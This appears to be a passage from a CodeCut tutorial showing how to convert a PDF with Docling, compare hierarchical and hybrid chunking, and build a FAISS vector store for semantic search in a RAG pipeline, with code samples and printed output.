For production use cases requiring robust database integration, consider implementing semantic search with pgvector in PostgreSQL or using Pinecone for cloud-based vector search as alternatives to FAISS.
Let’s install the additional packages for RAG functionality:
# Install additional packages for RAG functionality
pip install docling sentence-transformers langchain-community langchain-huggingface faiss-cpu
# Note: Use faiss-gpu if you have CUDA support

Document Processing
Convert the document into structured data using Docling.
from docling.document_converter import DocumentConverter

# Initialize converter with default settings
converter = DocumentConverter()

# Convert the document into structured data
source_url = "https://arxiv.org/pdf/2408.09869"
result = converter.convert(source_url)

# Access structured data immediately
doc = result.document

Chunking
AI models have limited context windows that can’t process entire documents at once. Chunking solves this by breaking documents into smaller, searchable pieces that fit within these constraints. This improves retrieval accuracy by finding the most relevant sections rather than entire documents.
Docling provides two main chunking strategies:

HierarchicalChunker: Focuses purely on document structure, creating chunks based on headings and sections
HybridChunker: Combines structure-aware chunking with token-based limits, preserving document hierarchy while respecting model constraints

Let’s compare how these chunkers process the same document.
First, create a helper function to print the chunk content:
def print_chunk(chunk):
print(f"Chunk length: {len(chunk.text)} characters")
if len(chunk.text) > 30:
print(f"Chunk content: {chunk.text[:30]}…{chunk.text[-30:]}")
else:
print(f"Chunk content: {chunk.text}")
print("-" * 50)

Next, process the document with the HierarchicalChunker:
from docling.chunking import HierarchicalChunker

# Process with HierarchicalChunker (structure-based)
hierarchical_chunker = HierarchicalChunker()
hierarchical_chunks = list(hierarchical_chunker.chunk(doc))

print(f"HierarchicalChunker: {len(hierarchical_chunks)} chunks")

# Print the first 3 chunks
for chunk in hierarchical_chunks[:5]:
print_chunk(chunk)

HierarchicalChunker: 114 chunks
Chunk length: 11 characters
Chunk content: Version 1.0
————————————————–
Chunk length: 295 characters
Chunk content: Christoph Auer Maksym Lysak Ah… Kuropiatnyk Peter W. J. Staar
————————————————–
Chunk length: 50 characters
Chunk content: AI4K Group, IBM Research R¨ us…arch R¨ uschlikon, Switzerland
————————————————–
Chunk length: 431 characters
Chunk content: This technical report introduc…on of new features and models.
————————————————–
Chunk length: 792 characters
Chunk content: Converting PDF documents back … gap to proprietary solutions.
————————————————–

Compare this to the HybridChunker:
from docling.chunking import HybridChunker

# Process with HybridChunker (token-aware)
hybrid_chunker = HybridChunker(max_tokens=512, overlap_tokens=50)
hybrid_chunks = list(hybrid_chunker.chunk(doc))

print(f"HybridChunker: {len(hybrid_chunks)} chunks")

# Print the first 3 chunks
for chunk in hybrid_chunks[:5]:
print_chunk(chunk)

HybridChunker: 50 chunks
Chunk length: 358 characters
Chunk content: Version 1.0
Christoph Auer Mak…arch R¨ uschlikon, Switzerland
————————————————–
Chunk length: 431 characters
Chunk content: This technical report introduc…on of new features and models.
————————————————–
Chunk length: 1858 characters
Chunk content: Converting PDF documents back … accelerators (GPU, MPS, etc).
————————————————–
Chunk length: 1436 characters
Chunk content: To use Docling, you can simply…and run it inside a container.
————————————————–
Chunk length: 796 characters
Chunk content: Docling implements a linear pi…erialized to JSON or Markdown.
————————————————–

The comparison shows key differences:

HierarchicalChunker: Creates many small chunks by splitting at every section boundary
HybridChunker: Creates fewer, larger chunks by combining related sections within token limits

We will use HybridChunker because it respects document boundaries (won’t split tables inappropriately) while ensuring chunks fit within embedding model constraints.
from docling.chunking import HybridChunker

# Initialize the chunker
chunker = HybridChunker(max_tokens=512, overlap_tokens=50)

# Create the chunks
rag_chunks = list(chunker.chunk(doc))

print(f"Created {len(rag_chunks)} intelligent chunks")

Created 50 intelligent chunks

Creating a Vector Store
A vector store is a database that converts text into numerical vectors called embeddings. These vectors capture semantic meaning, allowing the system to find related content even when different words are used.
When you search for “document processing,” the vector store finds chunks about “PDF parsing” or “text extraction” because their embeddings are mathematically close. This enables semantic search beyond exact keyword matching.
Create the vector store for semantic search across your document chunks:
from langchain_community.vectorstores import FAISS
from langchain_huggingface import HuggingFaceEmbeddings

# Create embeddings
embeddings = HuggingFaceEmbeddings(model_name="all-MiniLM-L6-v2")

# Create the vector store
texts = [chunk.text for chunk in rag_chunks]
vectorstore = FAISS.from_texts(texts, embeddings)

print(f"Built vector store with {len(texts)} chunks")

Built vector store with 50 chunks

Now you can search your knowledge base with semantic similarity:
# Search the knowledge base
query = "How does document processing work?"
relevant_docs = vectorstore.similarity_search(query, k=3)

print(f"Query: '{query}'")
print(f"Found {len(relevant_docs)} relevant chunks:")

for i, doc in enumerate(relevant_docs, 1):
print(f"\nResult {i}:")
print(f"Content: {doc.page_content[:150]}…")

Query: 'How does document processing work?'
Found 3 relevant chunks:

Result 1:
Content: Docling implements a linear pipeline of operations, which execute sequentially on each given document (see Fig. 1). Each document is first parsed by a…

Result 2:
Content: In the final pipeline stage, Docling assembles all prediction results produced on each page into a well-defined datatype that encapsulates a converted…

Result 3:
Content: Docling is designed to allow easy extension of the model library and pipelines. In the future, we plan to extend Docling with several more models, suc…

The search results show effective semantic retrieval. The vector store found relevant chunks about Docling’s architecture and design when searching for “document processing” – demonstrating how RAG systems match meaning, not just keywords.
Conclusion
This tutorial demonstrated building a robust document processing pipeline that handles complex, real-world documents. Your pipeline preserves critical elements like tables, mathematical formulas, and document structure while generating semantically meaningful chunks for retrieval-augmented generation systems.
The capability to transform any document format into AI-ready data using minimal code at no cost represents a significant advancement in document processing workflows. For enhanced reasoning capabilities in your RAG workflows, explore our guide on building data science workflows with DeepSeek and LangChain which combines advanced language models with document processing pipelines.

📚 Want to go deeper? Learning new techniques is the easy part. Knowing how to structure, test, and deploy them is what separates side projects from real work. My book shows you how to build data science projects that actually make it to production. Get the book →

Stay Current with CodeCut
Easy-to-digest articles on Python, AI, and open-source tools. Delivered twice a week.

.codecut-subscribe-form {
max-width: 650px;
display: flex;
flex-direction: column;
gap: 8px;
}

.codecut-input {
-webkit-appearance: none;
-moz-appearance: none;
appearance: none;
background: #FFFFFF;
border-radius: 8px !important;
padding: 8px 12px;
font-family: ‘Comfortaa’, sans-serif !important;
font-size: 14px !important;
color: #333333;
border: none !important;
outline: none;
width: 100%;
box-sizing: border-box;
}

input[type=”email”].codecut-input {
border-radius: 8px !important;
}

.codecut-input::placeholder {
color: #666666;
}

.codecut-email-row {
display: flex;
align-items: stretch;
height: 36px;
gap: 8px;
}

.codecut-email-row .codecut-input {
flex: 1;
}

.codecut-subscribe-btn {
background: #72BEFA;
color: #2F2D2E;
border: none;
border-radius: 8px;
padding: 8px 14px;
font-family: ‘Comfortaa’, sans-serif;
font-size: 14px;
font-weight: 500;
cursor: pointer;
text-decoration: none;
display: flex;
align-items: center;
justify-content: center;
transition: background 0.3s ease;
}

.codecut-subscribe-btn:hover {
background: #5aa8e8;
}

.codecut-subscribe-btn:disabled {
background: #999;
cursor: not-allowed;
}

.codecut-message {
font-family: ‘Comfortaa’, sans-serif;
font-size: 12px;
padding: 8px;
border-radius: 6px;
display: none;
}

.codecut-message.success {
background: #d4edda;
color: #155724;
display: block;
}

/* WordPress dark-theme overrides */
.codecut-subscribe-form .codecut-input {
background: #2F2D2E !important;
border: 1px solid #72BEFA !important;
color: #FFFFFF !important;
}

.codecut-subscribe-form .codecut-input::placeholder {
color: #999999 !important;
}

.codecut-subscribe-form .codecut-subscribe-btn {
background: #72BEFA !important;
color: #2F2D2E !important;
}

.codecut-subscribe-form .codecut-subscribe-btn:hover {
background: #5aa8e8 !important;
}

/* Mobile responsive */
@media (max-width: 480px) {
.codecut-email-row {
flex-direction: column;
height: auto;
gap: 8px;
}

.codecut-input {
border-radius: 8px;
height: 36px;
}

.codecut-subscribe-btn {
width: 100%;
text-align: center;
border-radius: 8px;
height: 36px;
}
}

Subscribe

Transform Any PDF into Searchable AI Data with Docling Read More »

Scroll to Top

Work with Khuyen Tran

Work with Khuyen Tran